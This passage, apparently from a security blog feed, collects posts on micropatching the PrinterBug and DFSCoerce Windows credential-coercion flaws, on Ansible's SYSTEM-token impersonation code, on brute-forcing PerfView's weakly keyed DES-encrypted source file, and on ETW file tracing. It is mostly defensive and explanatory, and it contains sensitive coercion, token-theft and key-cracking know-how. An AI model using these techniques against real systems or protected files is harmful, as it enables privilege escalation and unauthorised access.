When RpcRemoteFindFirstPrinterChangeNotification(Ex) is called, it impersonates the client via the YImpersonateClient function - which is good. The execution then continues towards the vulnerability by calling RemoteFindFirstPrinterChangeNotification. This function then calls SetupReplyNotification, which in turn calls OpenReplyRemote: this function reverts the impersonation (!) before calling RpcReplyOpenPrinter, where an RPC request to the attacker-specified host is made using the computer account.

We're not sure why developers decided to revert impersonation of the caller before making that RPC call, but suspect it was to ensure the call would have sufficient permissions to succeed regardless of the caller's identity. In any case, this allow the attacker to effectively exchange low-privileged credentials for high-privileged ones.


Our Micropatch

When patching an NTLM relaying issue, we have a number of options, for instance:

 

  • using client impersonation, so the attacker only receives their own credentials instead of server's,
  • adding an access check to see if the calling user has sufficient permissions for the call at all, or
  • outright cutting off the vulnerable functionality, when it seems hard to fix or unlikely to be used.

 

This particular bug fell into the latter category, as we could not find a single product actually using the affected functionality, and Windows are also not using it in their printer-related products. If it turns out our assessment was incorrect, we can easily revoke this patch and replace it with one that performs impersonation.

Our micropatch is very simple: it simulates an "access denied" (error code 5) response from the RpcReplyOpenPrinter function without letting it make the "leaking" RPC call. This also blocks the same attack that might be launched via other functions that call RpcReplyOpenPrinter.

Source code of the micropatch has just two CPU instructions:



MODULE_PATH "..\Affected_Modules\spoolsv.exe_10.0.17763.2803_Srv2019_64-bit_u202205\spoolsv.exe"
PATCH_ID 908
PATCH_FORMAT_VER 2
VULN_ID 7419
PLATFORM win64

patchlet_start
    PATCHLET_ID 1
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0x576cc
    N_ORIGINALBYTES 5
    JUMPOVERBYTES 0
    PIT spoolsv.exe!0x577df
    ; 0x577df -> return block

    code_start

        mov ebx, 5
        jmp PIT_0x577df

    code_end

patchlet_end

 


Micropatch Availability

While this vulnerability has no official patch and could be considered a "0day", Microsoft seems determined not to fix relaying issues such as this one; therefore, this micropatch is not provided in the FREE plan but requires a PRO or Enterprise license.

The micropatch was written for the following Versions of Windows with all available Windows Updates installed: 

  1. Windows 11 v21H2
  2. Windows 10 v21H2
  3. Windows 10 v21H1
  4. Windows 10 v20H2
  5. Windows 10 v2004
  6. Windows 10 v1909
  7. Windows 10 v1903
  8. Windows 10 v1809
  9. Windows 10 v1803
  10. Windows 7 (no ESU, ESU year 1, ESU year 2)
  11. Windows Server 2008 R2 (no ESU, ESU year 1, ESU year 2)
  12. Windows Server 2012
  13. Windows Server 2012 R2
  14. Windows Server 2016
  15. Windows Server 2019 
  16. Windows Server 2022 
 

This micropatch has already been distributed to, and is being applied to, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Will Schroeder, Lee Christensen, and Matt Nelson of SpecterOps for sharing details about this vulnerability, and Dirk-jan Mollema of Outsider Security for excellent articles on relaying attacks and exploiting PrinterBug/SpoolSample in particular. We also encourage security researchers to privately share their analyses with us for micropatching.



Micropatching the "DFSCoerce" Forced Authentication Issue (No CVE)

1 July 2022 at 09:49

 


by Mitja Kolsek, the 0patch Team


"DFSCoerce" is another forced authentication issue in Windows that can be used by a low-privileged domain user to take over a Windows server, potentially becoming a domain admin within minutes. The issue was discovered by security researcher Filip Dragovic, who also published a POC.

Filip's tweet indicated this issue can be used even if you have disabled or filtered services that other currently known forced authentication issues such as PrinterBug/SpoolSample, PetitPotam, ShadowCoerce and RemotePotato0 are exploiting: "Spooler service disabled, RPC filters installed to prevent PetitPotam and File Server VSS Agent Service not installed but you still want to relay DC authentication to ADCS? Don't worry MS-DFSNM have your back ;)"

A quick reminder: Microsoft does not fix forced authentication issues unless an attack can be mounted anonymously. Our customers unfortunately can't all disable relevant services or implement mitigations without breaking production, so it is on us to provide them with such patches.


The Vulnerability

The vulnerability lies in the Distributed File System (DFS) service. Any authenticated user can make a remote procedure call to this service and execute functions NetrDfsAddStdRoot or NetrDfsremoveStdRoot, providing them with host name or IP address of attacker's computer. These functions both properly perform a permissions check using a call to AccessImpersonateCheckRpcClient, which returns error code 5 ("access denied") for users who aren't allowed to do any changes to DFS. If access is denied, they block the adding or removing of a stand-alone namespace - but they both still perform a credentials-leaking request to the specified host name or IP address.

Such leaked credentials - belonging to server's computer account - can be relayed to some other service in the network such as LDAP or Certificate Service to perform privileged operations leading to further unauthorized access. Unsurprisingly, attackers and red teams like such things.


Our Micropatch

Since a proper access check was already in place, just not reacted to entirely properly, we decided to use its result and correct the logic in both vulnerable functions.

The image below shows our patch (green code blocks) injected in function NetrDfsremoveStdRoot. As you can see, a call to AccessImpersonateCheckRpcClient is made in the original code, which returns 5 ("access denied") when the caller has insufficient permissions. This information is then stored as one bit into register r8b, and copied to local variable arg_18 (sounds like an argument, but compilers use so-called "home space" for local variables when it suits them). Our patch code takes the return value of AccessImpersonateCheckRpcClient and compares it to 5; if equal, we sabotage attacker's attempts by placing a zero at the beginning of their ServerName string pointed to by rcx, effectively turning it into an empty string. This approach allows us to minimize the amount of code and complexity of the patch, which is always our goal. Function DfsDeleteStandaloneRoot, which causes the forced authentication to attacker's host, is then called from the original code (moved to a blue trampoline code block) but it gets an empty string for the host name - and returns an error. A blocked attack therefore behaves as if a request was made by an unprivileged user with an illegal ServerName. We decided not to log this as an attempted exploit to avoid possible false positives in case a regular user without malicious intent might somehow trigger this code via Windows user interface.



 

Source code of the micropatch shows two identical patchlets, one for function NetrDfsAddStdRoot and one for NetrDfsremoveStdRoot:



MODULE_PATH "..\Affected_Modules\dfssvc.exe_10.0.17763.2028_Srv2019_64-bit_u202206\dfssvc.exe"
PATCH_ID 952
PATCH_FORMAT_VER 2
VULN_ID 7442
PLATFORM win64

patchlet_start
    PATCHLET_ID 1                ; NetrDfsAddStdRoot
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0x183e
    N_ORIGINALBYTES 5
    JUMPOVERBYTES 0
    code_start
        neg eax                  ; get original return value from AccessImpersonateCheckRpcClient
        cmp eax, 5               ; check if access denied(5) was returned
        jne CONTINUE_1           ; return value is not 5, continue with
                                 ; normal code execution
        mov word[rcx], 0         ; else set ServerHost to NULL. Result: DFSNM
                                 ; SessionError: code: 0x57 - ERROR_INVALID_PARAMETER
                                 ; continue with original code
    CONTINUE_1:
       
    code_end
patchlet_end

patchlet_start
    PATCHLET_ID 2                ; NetrDfsremoveStdRoot
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0x1c96
    N_ORIGINALBYTES 5
    JUMPOVERBYTES 0
    code_start
        neg eax                 
; get original return value from AccessImpersonateCheckRpcClient
        cmp eax, 5              
; check if access denied(5) was returned
        jne CONTINUE_2          
; return value is not 5, continue with
                                 ; normal code execution
        mov word[rcx], 0        
; else set ServerHost to NULL. Result: DFSNM
                                 ; SessionError: code: 0x57 -
ERROR_INVALID_PARAMETER
                                 ; continue with original code
    CONTINUE_2:
       
    code_end
patchlet_end

 


Micropatch Availability

While this vulnerability has no official patch and could be considered a "0day", Microsoft seems determined not to fix relaying issues such as this one; therefore, this micropatch is not provided in the FREE plan but requires a PRO or Enterprise license.

The micropatch was written for the following Versions of Windows with all available Windows Updates installed: 

  1. Windows Server 2008 R2
  2. Windows Server 2012
  3. Windows Server 2012 R2
  4. Windows Server 2016
  5. Windows Server 2019 
  6. Windows Server 2022 
 
Note that only servers are affected as the DSS Service does not exist on workstations.

This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank  Filip Dragovic for sharing details about this vulnerability, which allowed us to create a micropatch and protect our users. We also encourage security researchers to privately share their analyses with us for micropatching.

 

How Ansible impersonates users on Windows

4 May 2020 at 17:00

Recently, I hit an interesting error during a deployment orchestrated by Ansible. One of the deployment steps was to execute a custom .NET application. Unfortunately, the application was failing on each run with an ACCESS DENIED error. After collecting the stack trace, I found that the failing code was ProtectedData.Protect(messageBytes, null, DataProtectionScope.CurrentUser), so a call to the Data Protection API. To pinpoint a problem I created a simple playbook:

- hosts: all
  gather_facts: no
  vars:
    ansible_user: testu
    ansible_connection: winrm
    ansible_winrm_transport: basic
    ansible_winrm_server_cert_validation: ignore
  tasks:
    - win_shell: |
        Add-Type -AssemblyName "System.Security"; \
        [System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding(
            "UTF-8").GetBytes("test12345"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
      args:
        executable: powershell
      register: output

    - debug:
        var: output

When I run it I get the following error:

fatal: [192.168.0.30]: FAILED! => {"changed": true, "cmd": "Add-Type -AssemblyName \"System.Security\"; [System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding(\n    \"UTF-8\").GetBytes(\"test\"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)", "delta": "0:00:00.807970", "end": "2020-05-04 11:34:29.469908", "msg": "non-zero return code", "rc": 1, "start": "2020-05-04 11:34:28.661938", "stderr": "Exception calling \"Protect\" with \"3\" argument(s): \"Access is denied.\r\n\"\r\nAt line:1 char:107\r\n+ ... .Security\"; [System.Security.Cryptography.ProtectedData]::Protect([Sy ...\r\n+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException\r\n    + FullyQualifiedErrorId : CryptographicException", "stderr_lines": ["Exception calling \"Protect\" with \"3\" argument(s): \"Access is denied.", "\"", "At line:1 char:107", "+ ... .Security\"; [System.Security.Cryptography.ProtectedData]::Protect([Sy ...", "+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", "    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException", "    + FullyQualifiedErrorId : CryptographicException"], "stdout": "", "stdout_lines": []}

The workaround to make it always work was to use the Ansible become parameters:

...
  tasks:
    - win_shell: |
        Add-Type -AssemblyName "System.Security"; \
        [System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding(
            "UTF-8").GetBytes("test12345"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
      args:
        executable: powershell
      become_method: runas
      become_user: testu
      become: yes
      register: output
...

Interestingly, the original playbook succeeds if the testu user has signed in to the remote system interactively (for example, by opening an RDP session) and encrypted something with DPAPI before running the script.

It only made me even more curious about what is happening here. I hope it made you too 🙂

What happens when you encrypt data with DPAPI

When you call CryptProtectData (or its managed wrapper ProtectedData.Protect), internally you are connecting to an RPC endpoint protected_storage exposed by the Lsass process. The procedure s_SSCryptProtectData, implemented in the dpapisrv.dll library, encrypts the data using the user’s master key. The master key is encrypted, and to decrypt it, Lsass needs a hash of the user’s password. The decryption process involves multiple steps, and if you are interested in its details, have a look at this post.

Examining the impersonation code

Before we dive into the Ansible impersonation code, I highly recommend checking the Ansible documentation on this subject as it is exceptional and covers all the authentication cases. In this post, I am describing only my case, when I am not specifying the become_user password. However, by reading the referenced code, you should have no problems in understanding other scenarios as well.

Four C# files contain the impersonation code, with the most important one being Ansible.Become.cs. Become flags define what type of access token Ansible creates for a given user session. Get-BecomeFlags contains the logic of the flags parser and handles the interaction with the C# code.

A side note: while playing with the exec wrapper, I discovered an interesting environment variable: ANSIBLE_EXEC_DEBUG. You may set its value to a path of a file where you want Ansible to write its logs. They might reveal some details on how Ansible executes your commands.

For my case, the logic of the become_wrapper could be expressed in the following PowerShell commands:

PS> Import-Module -Name $pwd\Ansible.ModuleUtils.AddType.psm1
PS> $cs = [System.IO.File]::ReadAllText("$pwd\Ansible.Become.cs"), [System.IO.File]::ReadAllText("$pwd\Ansible.Process.cs"), [System.IO.File]::ReadAllText("$pwd\Ansible.AccessToken.cs")
PS> Add-CSharpType -References $cs -IncludeDebugInfo -CompileSymbols @("TRACE")

PS> [Ansible.Become.BecomeUtil]::CreateProcessAsUser("testu", [NullString]::Value, "powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBU...MAZQByACkA")

StandardOut
-----------
1...

The stripped base64 string is the encoded version of the commands I had in my Ansible playbook:

PS> [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("QQBkAGQALQBU...MAZQByACkA"))

Add-Type -AssemblyName "System.Security";[System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding("UTF-16LE").GetBytes("test12345"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)

The CreateProcessAsUser method internally calls GetUserTokens to create an elevated and a regular token (or only one if no elevation is available/required). As I do not specify a password neither a logon type, my code will eventually call GetS4UTokenForUser. S4U, or in other words, “Service for Users”, is a solution that allows services to obtain a logon for the user, but without providing the user’s credentials. To use S4U, services call the LsaLogonUser method, passing a KERB_S4U_LOGON structure as the AuthenticationInformation parameter. Of course, not all services can impersonate users. Firstly, the service must have the “Act as part of the operating system” privilege (SeTcbPrivilege). Secondly, it must register itself as a logon application (LsaRegisterLogonProcess). So how Ansible achieves that? It simply tries to “steal” (duplicate ;)) a token from one of the privileged processes by executing GetPrimaryTokenForUser(new SecurityIdentifier("S-1-5-18"), new List<string>() { "SeTcbPrivilege" }). As this method code is not very long and well documented, let me cite it here (GPL 3.0 license):

private static SafeNativeHandle GetPrimaryTokenForUser(SecurityIdentifier sid, List<string> requiredPrivileges = null)
{
    // According to CreateProcessWithTokenW we require a token with
    //  TOKEN_QUERY, TOKEN_DUPLICATE and TOKEN_ASSIGN_PRIMARY
    // Also add in TOKEN_IMPERSONATE so we can get an impersonated token
    TokenAccessLevels dwAccess = TokenAccessLevels.Query |
        TokenAccessLevels.Duplicate |
        TokenAccessLevels.AssignPrimary |
        TokenAccessLevels.Impersonate;
    foreach (SafeNativeHandle hToken in TokenUtil.EnumerateUserTokens(sid, dwAccess))
    {
        // Filter out any Network logon tokens, using become with that is useless when S4U
        // can give us a Batch logon
        NativeHelpers.SECURITY_LOGON_TYPE tokenLogonType = GetTokenLogonType(hToken);
        if (tokenLogonType == NativeHelpers.SECURITY_LOGON_TYPE.Network)
            continue;
        // Check that the required privileges are on the token
        if (requiredPrivileges != null)
        {
            List<string> actualPrivileges = TokenUtil.GetTokenPrivileges(hToken).Select(x => x.Name).ToList();
            int missing = requiredPrivileges.Where(x => !actualPrivileges.Contains(x)).Count();
            if (missing > 0)
                continue;
        }
        // Duplicate the token to convert it to a primary token with the access level required.
        try
        {
            return TokenUtil.DuplicateToken(hToken, TokenAccessLevels.MaximumAllowed, SecurityImpersonationLevel.Anonymous,
                TokenType.Primary);
        }
        catch (Process.Win32Exception)
        {
            continue;
        }
    }
    return null;
}


public static IEnumerable<SafeNativeHandle> EnumerateUserTokens(SecurityIdentifier sid,
    TokenAccessLevels access = TokenAccessLevels.Query)
{
    foreach (System.Diagnostics.Process process in System.Diagnostics.Process.GetProcesses())
    {
        // We always need the Query access level so we can query the TokenUser
        using (process)
        using (SafeNativeHandle hToken = TryOpenAccessToken(process, access | TokenAccessLevels.Query))
        {
            if (hToken == null)
                continue;
            if (!sid.Equals(GetTokenUser(hToken)))
                continue;
            yield return hToken;
        }
    }
}

private static SafeNativeHandle TryOpenAccessToken(System.Diagnostics.Process process, TokenAccessLevels access)
{
    try
    {
        using (SafeNativeHandle hProcess = OpenProcess(process.Id, ProcessAccessFlags.QueryInformation, false))
            return OpenProcessToken(hProcess, access);
    }
    catch (Win32Exception)
    {
        return null;
    }
}

Once Ansible obtains the SYSTEM token, it can register itself as a logon application and finally call LsaLogonUser to obtain the impersonation token (GetS4UTokenForUser). With the right token, it can execute CreateProcessWithTokenW and start the process in a desired user’s context.

Playing with the access tokens using TokenViewer

As we reached this point, maybe it is worth to play a bit more with Windows tokens, and try to reproduce the initial Access Denied error. For this purpose, I slightly modified the TokenViewer tool developed by James Forshaw (Google). You may find the code of my version in my blog repository.

Let’s run TokenViewer as the SYSTEM user. That should give us SeTcbPrivilege, necessary to create an impersonated tokens: psexec -s -i TokenViewer.exe. Next, let’s create an access token for the Network logon type:

Network logon session
Network logon token

On the group tab, there should be the NT AUTHORITY\NETWORK group listed. Now, let’s try to encrypt the “Hello World!” text with DPAPI on the Operations tab. We should receive an Access Denied error:

DPAPI Access Denied error

Leave the Token window open, move to the main window, and create a token for the Batch logon type. This is the token Ansible creates in the “become mode”. The groups tab should have the NT AUTHORITY\BATCH group enabled, and DPAPI encryption should work. Don’t close this window and move back to the previous token window. DPAPI will work now too.

I am not familiar enough with Lsass to explain in details what is happening here. However, I assume that the DPAPI problem is caused by the fact that Lsass does not cache user credentials when the user signs in with the logon type NETWORK (probably because of the performance reasons). Therefore, the lsasrv!LsapGetCredentials method fails when DPAPI calls it to retrieve the user password’s hash to decrypt the master key. Interestingly, if we open another session for a given user (for example, an interactive one), and call DPAPI to encrypt/decrypt some data, the user’s master key lands in the cache (lsasrv!g_MasterKeyCacheList). DPAPI searches this cache (dpapisrv!SearchMasterKeyCache) before calling LsapGetCredentials. That explains why our second call to DPAPI succeeded in the NETWORK logon session.

lowleveldesign

Decrypting PerfView’s OSExtensions.cs file

25 June 2020 at 07:04

While analyzing the PerfView source code, I stumbled upon an interesting README file in the src/OSExtensions folder:

// The OSExtensions.DLL is a DLL that contains a small number of extensions
// to the operating system that allow it to do certain ETW operations.  
//
// However this DLL is implemented using private OS APIs, and as such should
// really be considered part of the operating system (until such time as
// the OS provide the functionality in public APIs).
//
// To discourage taking dependencies on these internal details we do not 
// provide the source code for this DLL in the open source repo. 
//
// IF YOU SIMPLY WANT TO BUILD PERFIVEW YOU DO NOT NEED TO BUILD OSExtensions!
// A binary copy of this DLL is included in the TraceEvent\OSExtensions.  
//*************************************************************************** 
// However we don't want this source code to be lost.  So we check it in
// with the rest of the code but in an encrypted form for only those few
// OS developers who may need to update this interface.   These people 
// should have access to the password needed to unencrpt the file.    
//
// As part of the build process for OSExtension.dll, we run the command 'syncEncrypted.exe'.
// This command keeps a encrypted and unencrypted version of a a file  in sync.
// Currently it is run on this pair
//
//  OSExtensions.cs   <-->  OSExtesions.cs.crypt
//
// Using a password file 'password.txt'  
//
// Thus if the password.txt exists and OSExtesions.cs.crypt exist, it will
// unencrypt it to OSExtesions.cs.   If OSExtesions.cs is newer, it will
// be reencrypted to OSExtesions.cs.crypt. 

Hmm, private OS APIs seem pretty exciting, right? A simple way to check these APIs would be to disassemble the OSExtensions.dll (for example, with dnSpy). But this method would not show us comments. And for internal APIs, they might contain valuable information. So let’s see if we can do better.

How OSExtensions.cs.crypt is encrypted

As mentioned in the README, internal PerfView developers should use the provided password.txt file and the SyncEncrypted.exe application. The SyncEncrypted.exe binaries are in the same folder as OSExtensions.cs.crypt, and they are not obfuscated. So we could see what’s the encryption method in use. The Decrypt method disassembled by dnSpy looks as follows:

// Token: 0x06000003 RID: 3 RVA: 0x000022A8 File Offset: 0x000004A8
private static void Decrypt(string inFileName, string outFileName, string password)
{
    Console.WriteLine("Decrypting {0} -> {1}", inFileName, outFileName);
    using (FileStream fileStream = new FileStream(inFileName, FileMode.Open, FileAccess.Read))
    {
        using (FileStream fileStream2 = new FileStream(outFileName, FileMode.Create, FileAccess.Write))
        {
            using (CryptoStream cryptoStream = new CryptoStream(fileStream, new DESCryptoServiceProvider
            {
                Key = Program.GetKey(password),
                IV = Program.GetKey(password)
            }.CreateDecryptor(), CryptoStreamMode.Read))
            {
                cryptoStream.CopyTo(fileStream2);
            }
        }
    }
}

You don’t see DES being used nowadays as its key length (56-bit) is too short for secure communication. However, 56-bit key space contains around 7,2 x 1016 keys, which may be nothing for NSA but, on my desktop, I wouldn’t finish the decryption in my lifetime. As you’re reading this post, you may assume I found another way :). The key to the shortcut is the Program.GetKey method:

// Token: 0x06000004 RID: 4 RVA: 0x0000235C File Offset: 0x0000055C
private static byte[] GetKey(string password)
{
    return Encoding.ASCII.GetBytes(password.GetHashCode().ToString("x").PadLeft(8, '0'));
}

The code above produces up to to 232 (4 294 967 296) unique keys, which is also the number of possible hash codes. And attacking such a key space is possible even on my desktop.

Preparing the decryption process

Now, it’s time to decide what we should call successful decryption. Firstly, it must not throw an exception, so the padding must be valid. As the padding is not explicitly set, DES will use PKCS7. Also, the mode for operation will be CBC:

We also know that the resulting C# file should contain mostly readable text, so it should have a high percentage of bytes in the ASCII range (assuming the data is UTF-8 encoded). Checking all these conditions would work best if we were trying to decrypt the whole file in each try. However, doing so would consume much time as the file is about 40 KB in size. An improvement would be to use the first few blocks of the encrypted file for counting the ASCII statistics, and two last blocks for the padding validation. Fortunately, we can do even better. I noticed that all the source code files in the repository are UTF-8 encoded with BOM. That means we could try decrypting only the first 64 bits of the ciphertext and check if the resulting plaintext starts with 0xEF, 0xBB, 0xBF. If it does, it may be the plaintext we are looking for. By appending the last two blocks of the ciphertext, we could also validate the padding. I haven’t done that, and I just disabled padding in DES. My decryptor code in F# (I’m still learning it) looks as follows:

open System
open System.IO
open System.Reflection
open System.Security.Cryptography
open System.Text
open System.Threading

let chars = "0123456789abcdef"B

[<Literal>]
let PassLen = 8

let homePath = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location)

let decrypt (des : DESCryptoServiceProvider) (cipher : byte array) (plain : byte array) (key : byte array) =
    use instream = new MemoryStream(cipher)
    use outstream = new MemoryStream(plain)
    use decryptor =  des.CreateDecryptor(key, key)
    use cryptostream = new CryptoStream(instream, decryptor, CryptoStreamMode.Read)
    cryptostream.CopyTo(outstream)

let rec gen n (s : byte array) = seq {
    for i = 0 to chars.Length - 1 do
        if n = s.Length - 1 then
            s.[n] <- chars.[i]
            yield s
        else
            s.[n] <- chars.[i] 
            yield! gen (n + 1) s
            s.[n + 1] <- chars.[0]
}

let cipher = File.ReadAllBytes(Path.Combine(homePath, @"OSExtensions.cs.crypt"))

let tryDecrypt (state : byte array) =

    let checkIfValid (plain : byte array) = 
        plain.[0] = byte(0xef) && plain.[1] = byte(0xbb) && plain.[2] = byte(0xbf)

    // no padding so we won't throw unnecessary exceptions
    use des = new DESCryptoServiceProvider(Padding = PaddingMode.None)
    let plain = Array.create PassLen 0uy

    // we will generate all random strings starting from the second place in the string
    for pass in (gen 1 state) do
        decrypt des cipher plain pass
        if checkIfValid plain then
            let fileName = sprintf "pass_%d_%d.txt" Thread.CurrentThread.ManagedThreadId DateTime.UtcNow.Ticks
            File.WriteAllLines(Path.Combine(homePath, fileName), [| 
                sprintf "Found pass: %s" (Encoding.ASCII.GetString(pass));
                sprintf "Decrypted: %s" (Encoding.ASCII.GetString(plain))
            |])

[<EntryPoint>]
let main argv =
    let zeroArray = Array.create (PassLen - 1) '0'B

    chars |> Array.map (fun ch -> async { zeroArray |> Array.append [| ch |] |> tryDecrypt }) 
          |> Async.Parallel 
          |> Async.RunSynchronously 
          |> ignore
    0 // return an integer exit code

It’s also published in my blog samples repository.

And the content of OSExtensions.cs.crypt is:

       0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
0000: 7b 37 a0 49 50 0b b2 49                          {7.IP..I

Decrypting the file

After about 40 minutes, the application generated 108 pass_ files already and one of them had the following content:

Found pass: 436886a4
Decrypted: ???using

The using statement is a very probable beginning of the C# file :). And indeed, the hash code above decrypts the whole OSExtensions.cs.crypt file. We won’t know the original PerfView password, but, as an exercise, you may try to look for strings that have the above hash code. If you find one, please leave a comment!

Fixing empty paths in FileIO events (ETW)

15 August 2020 at 13:42

This month marks ten years since I started this blog 🥂🥂🥂. On this occasion, I would like to thank you for being my reader! Let’s celebrate with a new post on ETW 🙂

Empty paths issue in the wtrace output has been bugging me for quite some time. As I started working on a new wtrace release (coming soon!), there came the right moment to fix it. I’ve seen other people struggling with this problem too, so I thought that maybe it’s worth a blog post 🙂 Wtrace uses the TraceEvent library to interact with the ETW API, and in this post, I will use this library as well. Note that this issue affects only the real-time ETW sessions.

Tracing FileIO events

Overall, when it comes to storage I/O tracing, there are two classes of events: DiskIO and FileIO. DiskIO events represent disk driver operations, while FileIO events describe the calls to the file system. I consider wtrace a user-mode troubleshooting tool. Therefore I decided to trace only the file system events. Another benefit of using FileIO events is that they are emitted even when the file system cache handles the I/O request.

Enabling FileIO events in the trace session requires only the FileIOInit flag in the call to TraceEventSession.EnableKernelProvider. You may also add the FileIO flag if you want to track the IO request duration (new wtrace will do that). The next step is to add handlers to the interesting FileIO events, for example:

public void SubscribeToSession(TraceEventSession session)
{
    var kernel = session.Source.Kernel;
    kernel.FileIOClose += HandleFileIoSimpleOp;
    kernel.FileIOFlush += HandleFileIoSimpleOp;
    kernel.FileIOCreate += HandleFileIoCreate;
    kernel.FileIODelete += HandleFileIoInfo;
    kernel.FileIORename += HandleFileIoInfo;
    kernel.FileIOFileCreate += HandleFileIoName;
    kernel.FileIOFileDelete += HandleFileIoName;
    kernel.FileIOFileRundown += HandleFileIoName;
    kernel.FileIOName += HandleFileIoName;
    kernel.FileIORead += HandleFileIoReadWrite;
    kernel.FileIOWrite += HandleFileIoReadWrite;
    kernel.FileIOMapFile += HandleFileIoMapFile;
}

However, you will shortly discover that the FileName property will sometimes return an empty string. An example wtrace output with this problem:

1136,1873 (1072) FileIO/Close 'C:\' (0xFFFFFA801D789CA0)
1136,2049 (1072) FileIO/Create 'C:\Windows\SYSTEM32\wow64win.dll' (0xFFFFFA801D789CA0) rw-
1363,8894 (1072) FileIO/Read '' (0xFFFFFA80230F5970) 0x173400 32768b
1364,7208 (1072) FileIO/Read '' (0xFFFFFA80230F5970) 0x117400 32768b
1365,6873 (1072) FileIO/Read '' (0xFFFFFA80230F5970) 0x1CD400 32768b
1375,6284 (1072) FileIO/Create 'C:\Windows\win.ini' (0xFFFFFA801A43F2F0) rw-
1375,6702 (1072) FileIO/Read 'C:\Windows\win.ini' (0xFFFFFA801A43F2F0) 0x0 516b
1375,7369 (1072) FileIO/Create 'C:\Windows\SysWOW64\MAPI32.DLL' (0xFFFFFA8023E50710) rw-
1375,7585 (1072) FileIO/Close 'C:\Windows\SysWOW64\msxml6r.dll' (0xFFFFFA8023E50710)
1384,8796 (1072) FileIO/Read '' (0xFFFFFA801FDBFCD0) 0x58200 16384b

What’s causing this? Before we answer this question, let’s check how the file name resolution works internally.

File names resolution

Each ETW event emitted by the kernel is represented by the EVENT_RECORD structure. ETWTraceEventSource decodes this structure into a TraceEvent class, which is much easier to process in the managed code. As you can see in the structure definition, ETW events have some common properties, such as ProcessId, TimeStamp, or ThreadId. The data specific to a given event goes into the UserData field, which, without a proper manifest, is just a block of bytes. Thus, to process the UserData, we need a parser. The TraceEvent library already contains parsers for all the Kernel events, and it could even generate parsers dynamically. The Kernel parsers are located in a huge KernelTraceEventParser file (13K lines). By scanning through the FileIO*TraceData classes defined there, we can see that almost all of them have the FileName property. However, the way how this property is implemented differs between the parsers. For example, in FileIOCreateTraceData, we have the following code:

public string FileName { get { return state.KernelToUser(GetUnicodeStringAt(LayoutVersion <= 2 ? HostOffset(24, 3) : HostOffset(24, 2))); } }

While FileIOSimpleOpTraceData, for example, has the following implemention:

public string FileName { get { return state.FileIDToName(FileKey, FileObject, TimeStampQPC); } }

The difference is that FileIOCreateTraceData extracts the FileName from its payload (the string is in the UserData field). FileIOSimpleOpTraceData, on the other hand, queries an instance of the KernelTraceEventParserState class to find the name by either FileObject or FileKey. It keeps a private _fileIDToName dictionary for this purpose. As you may have guessed, we receive an empty path when the FileObject/FileKey is missing in this dictionary.

_fileIDToName dictionary and FileIO events

From the previous paragraph, we know that an empty path signifies that there is no record in the _fileIDToName dictionary for a given FileObject/FileKey. If we look for code that modifies this dictionary, we should quickly locate the hooks in the KernelTraceEventParser constructor:

AddCallbackForEvents(delegate (FileIONameTraceData data)
{
    // TODO this does now work for DCStarts.  Do DCStarts event exist?  
    var isRundown = (data.Opcode == (TraceEventOpcode)36) || (data.Opcode == (TraceEventOpcode)35);        // 36=FileIOFileRundown 35=FileIODelete
    Debug.Assert(data.FileName.Length != 0);
    state.fileIDToName.Add(data.FileKey, data.TimeStampQPC, data.FileName, isRundown);
});
...

// Because we may not have proper startup rundown, we also remember not only the FileKey but 
// also the fileObject (which is per-open file not per fileName).   
FileIOCreate += delegate (FileIOCreateTraceData data)
{
    state.fileIDToName.Add(data.FileObject, data.TimeStampQPC, data.FileName);
};

if (source.IsRealTime)
{
    // Keep the table under control
    Action onNameDeath = delegate (FileIONameTraceData data)
    {
        state.fileIDToName.Remove(data.FileKey);
    };
    FileIOFileDelete += onNameDeath;
    FileIOFileRundown += onNameDeath;
    FileIOCleanup += delegate (FileIOSimpleOpTraceData data)
    {
        // Keep the table under control remove unneeded entries.  
        state.fileIDToName.Remove(data.FileObject);
    };
}

As handlers registered here will always execute before our handlers, delete, rundown, or cleanup events won’t have the file name as it just got removed from the _fileIDToName dictionary :). A simple fix is to keep your own FileObject/FileKey/FileName map, and that’s what the current version of wtrace is doing. However, as you remember, that does not always work. After some debugging, I discovered another problem. The FileIORundown events were never emitted, so the _fileIDToName contained only FileObjects from the FileCreate events. That explains why there are almost no empty paths for processes that started while the trace session was running. After checking the documentation and some more debugging, I learned that FileIORundown events appear in the trace when you enable DiskFileIO and DiskIO keywords. And, what’s important, they are issued at the end of the trace session. Although the documentation states they contain a FileObject, it is in fact a FileKey. Fortunately, TraceEvent has the property correctly named to FileKey in the FileIONameTraceData class.

Working example

My final approach is to open a “rundown” session for two seconds, prepare my fileIDToName dictionary, and then pass it to the actual tracing session with only the FileIO events:

open System
open System.Threading
open Microsoft.Diagnostics.Tracing
open Microsoft.Diagnostics.Tracing.Parsers
